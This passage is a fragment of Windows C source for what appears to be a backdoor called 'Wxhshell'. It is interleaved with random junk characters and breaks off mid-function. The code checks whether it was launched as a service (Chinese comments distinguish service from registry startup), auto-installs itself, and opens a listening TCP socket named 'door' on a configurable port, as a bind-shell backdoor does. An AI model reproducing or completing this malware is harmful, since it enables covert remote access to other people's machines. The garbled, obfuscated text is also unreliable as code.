ws< (LH if (!NtQueryInformationProcess) return 0; 6Ej.X)~'K R>R8LIZZc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZHimS7 if(!hProcess) return 0; Jo4iWJpK UHFI4{Wz if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D
]G=sYt U$7]*#@& CloseHandle(hProcess); BMYvxSsm kR65{h"gZT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :4/37R(~l8 if(hProcess==NULL) return 0; }N0v_Nas;v 1)hO!% HMODULE hMod; tPaNhm[-q7 char procName[255]; =_Ip0FfK! unsigned long cbNeeded; B;c2gu
C^*3nd3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k%%0"+y#a 2JL\1=k; CloseHandle(hProcess); .dKFQH iYJ @ ('/NjTZ if(strstr(procName,"services")) return 1; // 以服务启动 CJe~>4BT IM=3n%6 return 0; // 注册表启动 ;3Z6K5z*f } %JPBD]&M x@? YS // 主模块 =H;F{J" int StartWxhshell(LPSTR lpCmdLine) !pxOhO.V { {3eg4j.Z SOCKET wsl; fzZ`O{$8 BOOL val=TRUE; D] +]Br8 int port=0; X{ f#kB]w struct sockaddr_in door; L&hv:+3N AYGe`{ if(wscfg.ws_autoins) Install(); A8T8+M: K(}g!iT)~ port=atoi(lpCmdLine); )6*)u/x:
IIO-Jr if(port<=0) port=wscfg.ws_port; 'J_`CS $d5}OI"g WSADATA data; !![HR6"Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &NH[b1NMr u#nM_UJe if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uUJH^pW setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /Suh&qw>
door.sin_family = AF_INET; /Jf}~}JP door.sin_addr.s_addr = inet_addr("127.0.0.1"); >G}g=zy@ door.sin_port = htons(port); Jsf"h-)P $3]]<oH if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SaFNPnk= closesocket(wsl); 9i+.iuE%Bu return 1; ndHUQ$/( } V,&A?
Y qh#?a' if(listen(wsl,2) == INVALID_SOCKET) { RX?y}BDo0 closesocket(wsl); G_S2Q @|Q return 1; OBL2W\{ } < |